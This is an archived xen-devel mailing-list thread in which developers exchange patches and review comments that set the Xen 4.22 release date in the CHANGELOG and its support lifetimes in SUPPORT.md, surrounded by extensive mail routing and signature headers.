DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1785341738; x=1785946538; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=kaVjSQBAqdZw/2Vakv+WgA8kKddWhHRsm8IIY8XerFg=;
        b=Agnphxxq80YdW08up7rwSMgl2qHReI0q7EPLM1N35m65Zrs5bku+g8ToL7/WlKasR4
         QHrgmGP4ciWr4cNPQV0SzEVCEm7/5NqMKapjk9PVqvSMBKyML+sCUuodEaxTIhG9hOzX
         aDluDZ/lWRVZfeTmpmZTIgWaw+bD9FfICDxTg=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785341738; x=1785946538;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=kaVjSQBAqdZw/2Vakv+WgA8kKddWhHRsm8IIY8XerFg=;
        b=Mox4IjfNEF5OXpgiIveOPNEjK9i9GCHYo9jRNx500OBWqnB98YfPQxQhPDPqILl8DN
         /OdcJdoPrfl38nvswiyBzEJ7hembr11WhoRtlvUXLYQmF9/1ACuaB2gJsDT6vahvEPor
         sh7eIsOmqtmlp7rSvBB8OiFG5bNQgT7KUgUrSUdpmmHlByBhajWewStsFpe/lI1tWDP2
         p3DqmqobwUa4vsey+URzCQqKBhlpevmTpF1L/kF3sTS3X/bSvGC6QrUvus5Kdis2Hz3D
         YPlSTDB4BnlcdQrZEAeskFjikvztisaisZCM5XQmMvD8n6aec7kzMpEOkdEYlGlufV6H
         v9RQ==
X-Gm-Message-State: AOJu0YwWpZ5BKiD3gjYSrPLNZI06XV33qGoXzANPWa86K4elEK9gIeF6
	AXLGGWEZ/eAgI5btQiyAf2GdMHydOol6iRJgN80J2AvZ6eG5oYtydteeYeejN/xMDUKjOGZnD8E
	J4gsV8jI=
X-Gm-Gg: AR+sD13HtrVeSaFuE+/bU507oTlEUp7IQs6KzltabTeHD4jz94/JLKSOo97RnRTCz5t
	nUdRi+XqldECJRzTBClxYv02nWYi5FpXc/G2Q0zNM5ywMcTw3U3amoNBlBSHUg9X2UF+6VVnACG
	UeWosokSdngbLUZCU6GqxbsDvOp4CH84rI9xY6aEhPs7UHvfeqrmigG2UXp604kHlPBSdKXoj0j
	tEoAMeRuwPgHp42ktu0nYUUg1NeV9nATPGRoGWLIzaH0iO2mU87ukHZHj8I45L9pnX5vruTN7Nt
	cro+IThuv6aNnwyefqXlaWoqb4KmhXQHoFK0soH3jbOB5cm/yq4vCjLy1nv3u64uppGlkKBCr//
	zUjsZDu7NAp48+31ihhlNBhNq4iEq9aCdDvQzN5aNoiTMMdpuJhsESa9U2JoPwj8DtT09xgKTwt
	SA0lg7BlpseWmVIvaZLSCNqfR3dZbWXoOpLgsJJQYsBT+r/vT/T44/8NKzhSSncN00eBoabqewU
	meN98dgOOmkrQOE/MkwM7l13QIgF3Yl7RUnUvlbstdUG7Vf9w==
X-Received: by 2002:a05:600c:1d19:b0:493:aa0a:45ad with SMTP id 5b1f17b1804b1-496c641518dmr96249005e9.2.1785341737678;
        Wed, 29 Jul 2026 09:15:37 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: [PATCH 1/2] CHANGELOG: Set release date for 4.22
Date: Wed, 29 Jul 2026 17:15:28 +0100
Message-Id: <20260729161529.164017-2-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
In-Reply-To: <20260729161529.164017-1-andrew.cooper3@citrix.com>
References: <20260729161529.164017-1-andrew.cooper3@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1785341738-51AD0B50-1182D268/10/73395122804
X-purgate-type: spam
X-purgate-size: 1081

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Anthony PERARD <anthony.perard@vates.tech>
CC: Michal Orzel <michal.orzel@amd.com>
CC: Jan Beulich <jbeulich@suse.com>
CC: Julien Grall <julien@xen.org>
CC: Roger Pau MonnÃ© <roger@xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>
CC: Oleksii Kurochko <oleksii.kurochko@gmail.com>

For staging and backport into 4.22
---
 CHANGELOG.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/CHANGELOG.md b/CHANGELOG.md
index 1435855615ae..6f879c97962d 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -4,7 +4,7 @@ Notable changes to Xen will be documented in this file.
 
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
 
-## [4.22.0 UNRELEASED](https://xenbits.xenproject.org/gitweb/?p=xen.git;a=shortlog;h=staging) - TBD
+## [4.22.0](https://xenbits.xenproject.org/gitweb/?p=xen.git;a=shortlog;h=staging) - 2026-07-30
 
 ### Changed
  - Users of XEN_DOMCTL_createdomain/xc_domain_create() must now pass DOMID_ANY
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 16:25:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 16:25:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376392.1623147 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp75q-0007GE-St; Wed, 29 Jul 2026 16:25:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376392.1623147; Wed, 29 Jul 2026 16:25:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp75q-0007G7-PE; Wed, 29 Jul 2026 16:25:18 +0000
Received: by outflank-mailman (input) for mailman id 1376392;
 Wed, 29 Jul 2026 16:25:17 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger@xenproject.org>) id 1wp75p-0007Fz-QP
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 16:25:17 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wp75p-00FKup-1o;
 Wed, 29 Jul 2026 16:25:17 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wp75o-003KXJ-2Z;
 Wed, 29 Jul 2026 16:25:17 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=xenproject.org; s=20200302mail; h=In-Reply-To:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
	bh=qV3EvUh5OQEPaTBVwlyY5LkzHaBdR30WgZFoCywwwTo=; b=2oJI4Dw0zCIeBkenNjoKjjNrlz
	qxEvqgH7thsn9whXjEEcjEDc6jsrEFmviZa7USgnmlFQmQ1NGtNueFiUYZccN/iNsGmOjPPJ3i/2j
	NdCOnDRJDKRBYPn53xr63IkU9AIq6xUk2UTl1GmBlu+IbZdfa4r4svKJtat1Js8PoNmo=;
Date: Wed, 29 Jul 2026 18:25:04 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger@xenproject.org>
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Cody Zuschlag <cody.zuschlag@gmail.com>
Cc: Xen-devel <xen-devel@lists.xenproject.org>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>, Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>
Subject: Re: [PATCH 2/2] SUPPOT: Define support lifetime
Message-ID: <amopYL9OuFaMODDR@macbook.local>
References: <20260729161529.164017-1-andrew.cooper3@citrix.com>
 <20260729161529.164017-3-andrew.cooper3@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <20260729161529.164017-3-andrew.cooper3@citrix.com>

On Wed, Jul 29, 2026 at 05:15:29PM +0100, Andrew Cooper wrote:
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
> ---
> CC: Anthony PERARD <anthony.perard@vates.tech>
> CC: Michal Orzel <michal.orzel@amd.com>
> CC: Jan Beulich <jbeulich@suse.com>
> CC: Julien Grall <julien@xen.org>
> CC: Roger Pau MonnÃ© <roger@xenproject.org>
> CC: Stefano Stabellini <sstabellini@kernel.org>
> CC: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> 
> For 4.22 only.
> ---
>  SUPPORT.md | 10 +++++-----
>  1 file changed, 5 insertions(+), 5 deletions(-)
> 
> diff --git a/SUPPORT.md b/SUPPORT.md
> index 7c42de4c1602..b945fc83afde 100644
> --- a/SUPPORT.md
> +++ b/SUPPORT.md
> @@ -9,13 +9,13 @@ for the definitions of the support status levels etc.
>  
>  # Release Support
>  
> -    Xen-Version: 4.22-rc
> -    Initial-Release: n/a
> -    Supported-Until: TBD
> -    Security-Support-Until: Unreleased - not yet security-supported
> +    Xen-Version: 4.22
> +    Initial-Release: 2026-07-30
> +    Supported-Until: 2029-07-30
> +    Security-Support-Until: 2031-07-30
>  
>  Release Notes
> -: <a href="https://wiki.xenproject.org/wiki/Xen_Project_X.YY_Release_Notes">RN</a>
> +: <a href="https://wiki.xenproject.org/wiki/Xen_Project_4.22_Release_Notes">RN</a>

Will this wiki page get created?  It's still not there, and given we
are moving out of wiki usage, we might want to put the release notes
somewhere else?

This is likely for Cody/oleksii to decide, since I assume they are the
ones that create the wiki page.

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 16:26:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 16:26:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376402.1623156 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp76Y-0007lK-7q; Wed, 29 Jul 2026 16:26:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376402.1623156; Wed, 29 Jul 2026 16:26:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp76Y-0007lD-4z; Wed, 29 Jul 2026 16:26:02 +0000
Received: by outflank-mailman (input) for mailman id 1376402;
 Wed, 29 Jul 2026 16:26:01 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger@xenproject.org>) id 1wp76X-0007l2-4k
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 16:26:01 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wp76W-00FKv3-16;
 Wed, 29 Jul 2026 16:26:00 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wp76V-003KdF-2M;
 Wed, 29 Jul 2026 16:25:59 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=xenproject.org; s=20200302mail; h=In-Reply-To:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
	bh=wp32tEvOjN2yWO+yKWB94G+4Dbq3boje4rjXkVlOyFI=; b=n1ey8PYHMg81vqIXHFGZKMMfOo
	AgMRXFUi0TU/5P48Tal7B8z4CE0rMm4eKRxnzvx6la0M2caKYFiHSco/bmQVMZ0tEnxoyLR+7lOi8
	nsfVW8rC1btmzG5NNNTAKFHTrN5fhVmbA+uVb5NgU5ahOBAykkFcjzkkoJAEh2NvJzn8=;
Date: Wed, 29 Jul 2026 18:25:54 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger@xenproject.org>
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: Xen-devel <xen-devel@lists.xenproject.org>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>, Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH for-4.22 0/2] Final prep
Message-ID: <amopknY3DltQwGcQ@macbook.local>
References: <20260729161529.164017-1-andrew.cooper3@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <20260729161529.164017-1-andrew.cooper3@citrix.com>

On Wed, Jul 29, 2026 at 05:15:27PM +0100, Andrew Cooper wrote:
> Andrew Cooper (2):
>   CHANGELOG: Set release date for 4.22
>   SUPPOT: Define support lifetime
    ^ SUPPORT

Otherwise:

Acked-by: Roger Pau MonnÃ© <roger.pau@citrix.com>

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 16:30:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 16:30:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376413.1623166 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp7Ay-0001EC-Ny; Wed, 29 Jul 2026 16:30:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376413.1623166; Wed, 29 Jul 2026 16:30:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp7Ay-0001E5-KN; Wed, 29 Jul 2026 16:30:36 +0000
Received: by outflank-mailman (input) for mailman id 1376413;
 Wed, 29 Jul 2026 16:30:35 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp7Ax-0001Dz-6U
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 16:30:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp7Ar-008Xe0-FH
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 18:30:29 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6a2a86-2eae-0a2a0a5409dd-0a2a4507b9a8-36
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 18:30:29 +0200
Received: from [52.101.201.30]
 (helo=PH7PR06CU001.outbound.protection.outlook.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6a2aa3-b4ea-0a2a45070019-3465c91e2e38-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 18:30:29 +0200
Received: from CH8PR03MB8275.namprd03.prod.outlook.com (2603:10b6:610:2b9::7)
 by DS0PR03MB8247.namprd03.prod.outlook.com (2603:10b6:8:28f::21) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 16:30:26 +0000
Received: from CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37]) by CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37%7]) with mapi id 15.21.0245.012; Wed, 29 Jul 2026
 16:30:26 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=wDZeBjffA1wPhbiDUy6/+V4DqDeZsJoHpKK14tIUtZoKlrG22U8d8cnfHHG4/41d3c3jsikGJieakO8v9FNEy4yvTqmyYxkNjBztgn5PhQcATslMdISgC5TeM0RumGxKsy4YEbw7f2CqBhFUiJK/jlOc8KvJbp9ooTxn0AIud0r/qja0keotDtV5BrrEZ2rXxxcPn5vZ15s7ndYH5+H/t0YYmBHLmO5vn2WaTI25w2b10LcucPwZfoL5PYIDVnITJxMvnih4un8nVitpN4MsAg95s/UEKlD0kuitYk35pMq9iXxjxo59sQBMYMPq5MYA6YDLKM/yAgvlcdf0WWQIrg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=pkSjBfVN6oNRWkSMgnkxnSRFbQtbE7Z36oBFolKVZWs=;
 b=ZZO8JnFdcrH76J5sEqf9wKfrxnlf0cDwjas5lBNNP26c7AodPKz3wKQraTli1HUp1lQmcjRx9XdFTkrD404zztY5WXZEsV04eeVJG7aVrDwiiI5iNrLEsLFgbxXejbO2+46XSNSp3wiYj+stTMggWN7+v2fbwWpzqhYayWpI61MlqLbtpE9sh28qomdHOOGw9bHBBGY9tUS9df2o+EZ3cv4CPbCt4ck1VhGerxA9KxQKJMopIbd7wVMZ/CaWhOGUmXfZ5q3F7eVo1z68avZyM9kI445SdbDwvwL7zNojj7WDg+BJt3wY1gjgG2KcQ8hFWigXh5dRzdIQ4WWwql67xw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=pkSjBfVN6oNRWkSMgnkxnSRFbQtbE7Z36oBFolKVZWs=;
 b=vUzp/CAXrjLBgQxBcOxPR8lDJhD6PhqiMJLvy0JyjVT1PJZsYvb9K+n8LopkrOY568/FATLy1sCgpP6RczmML/TyxtDC6k717J4xIqYmX+3W0hbcK/pxfBx7kmPbu4Kxny9PWO2Axue6MgC8lW9gtmq5BhbHYgguoRU4vI0Eyqs=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <04da312f-f052-44ce-8c99-b589fe270289@citrix.com>
Date: Wed, 29 Jul 2026 17:30:22 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, Stefano Stabellini <sstabellini@kernel.org>
Subject: Re: [PATCH 2/2] SUPPOT: Define support lifetime
To: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Cody Zuschlag <cody.zuschlag@gmail.com>
References: <20260729161529.164017-1-andrew.cooper3@citrix.com>
 <20260729161529.164017-3-andrew.cooper3@citrix.com>
 <amopYL9OuFaMODDR@macbook.local>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFN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dT/LX1EklKDcQwpk06Af/N7VZtSfEJeRV04unbsKVXWZAk
 uAJyDDKN99ziC0Wz5kcPyVD1HNf8bgaqGDzrv3TfYjwqayRFcMf7xJaL9xXedMcAEQEAAcLB
 XwQYAQgACQUCUuE2fwIbDAAKCRBlw/kGpdefoG4XEACD1Qf/er8EA7g23HMxYWd3FXHThrVQ
 HgiGdk5Yh632vjOm9L4sd/GCEACVQKjsu98e8o3ysitFlznEns5EAAXEbITrgKWXDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <amopYL9OuFaMODDR@macbook.local>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P265CA0025.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:2ae::10) To CH8PR03MB8275.namprd03.prod.outlook.com
 (2603:10b6:610:2b9::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8275:EE_|DS0PR03MB8247:EE_
X-MS-Office365-Filtering-Correlation-Id: ac4f8c29-c951-416b-8520-08deed8eb1eb
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|376014|366016|23010399003|11063799006|4143699003|56012099006|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	VPhcEbunGd+Fsb/P8r+TKOX8H1fS/QPErATW7Nffl37ql6lONt7af11zXer8u2wQqGskGlXQRBcClfS5KnFXC+Yu9ySp/QkAOQsW4oRpG/brPf/+wHd9xN6uiJZXR3ovXHEl4WwJVd74WmXtSyMqlfXJl7GAgxZmBx74SsbvdwLGiXLZQs79TdLF230uGZ12L03TkWJPoJpVN7Q6NebMWg1jjWRFf48B6h4pqeKYNklfhX2eq7QPpLon8LjdSsWvFH+HK5FNReA+UgxYNJimswV2EztSNvXbJaRg01thAoSsCpcD2u+UZff0qLoelXUvcHpATLagCNEtlUIV2ikvol1IXff8brFz4fMezM++YfS6FelcBWQduPVBLFt8QgjE8D2hRNst6TaE94/YpNsoJChUxtlaemJfiz/Kp0nEj/xE/ScadJystsMjK04CdZKk/XMlXXlhKnAqxDASJcfnRaBc9S3+aXSGJna8mToiEpOu8WvcPIouiMRbS3nCKgIG0WnOxsdALpb7pYUjL3/ZFgCPeneYXXtku3xYYbwv8bB8PDtF7FXpX3X90zTtxUWl+TXIj1pl+COQrtCZeOU0LFC+OwUZFWCSZ4snfIUIJQk=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8275.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(376014)(366016)(23010399003)(11063799006)(4143699003)(56012099006)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiS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L1NucXIwdGVX?=
 =?utf-8?B?eXROQWVrM3llSUZ5anA2Ni9YSG5NS25Ya0IyMUoyNDBrSjRMZ3RmcDl6WUZx?=
 =?utf-8?B?M3FGSUhoQ1JYTjhiS3dLQ0k3STJMUHdFbUlraHAxTFpLeFM4ZFJJZkhCK3Za?=
 =?utf-8?B?MG9IdHI3MTFCeDlVRHlIT09tbVYxVTRGLzh2YjhiWDFNUlVSckdwL3g0Yk1W?=
 =?utf-8?B?djNJZ1BKUUNwUkducmJ4SllQTVBQa2kyeDgzemJsZkdJb2g1YmZNd2hGamdM?=
 =?utf-8?B?SjV4b05oRXdsN3BPZHd4WmIrcjBHbkY0Z09jR1lIdUN4SEdURTgwQUFOVlIw?=
 =?utf-8?B?T3hLY24wMmlhWWpLU3hiaStIR2JkSUFoWFdoVEtCbnFqMTZMaWVUaXU2Z0xC?=
 =?utf-8?B?R0pndExMRlRyQkxidS9qbk5uN2Uxa2hpVm9jM3BVQ2xnWWo3cnVsSy95VUdZ?=
 =?utf-8?B?NFNUTThrTkpGVDhNbko3VkpyV21jQ0E5SXJDTWtHNHE1eWhhNnJ0ZHM1NjBW?=
 =?utf-8?B?MnFnWUdQSTdVOGxlTzN3Q2dMQmFSODhOdXFmUGI1cDFCYmZ5QWRuMFkrcVI1?=
 =?utf-8?B?Y0pXSm4xWk5pUEtlNGcyMHMwRURsY1Fadi9vbTJaWk8yVGVLWHpTZ2ovbjNz?=
 =?utf-8?B?c0xIYVFDbXJDcEpGR0Z0YlZ5dmp6aXQrVmMvU0FrZ2xvNmhCV3ppemxObG5x?=
 =?utf-8?Q?IMcZODKfVhyhd3/Y=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: ac4f8c29-c951-416b-8520-08deed8eb1eb
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8275.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 16:30:26.0131
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
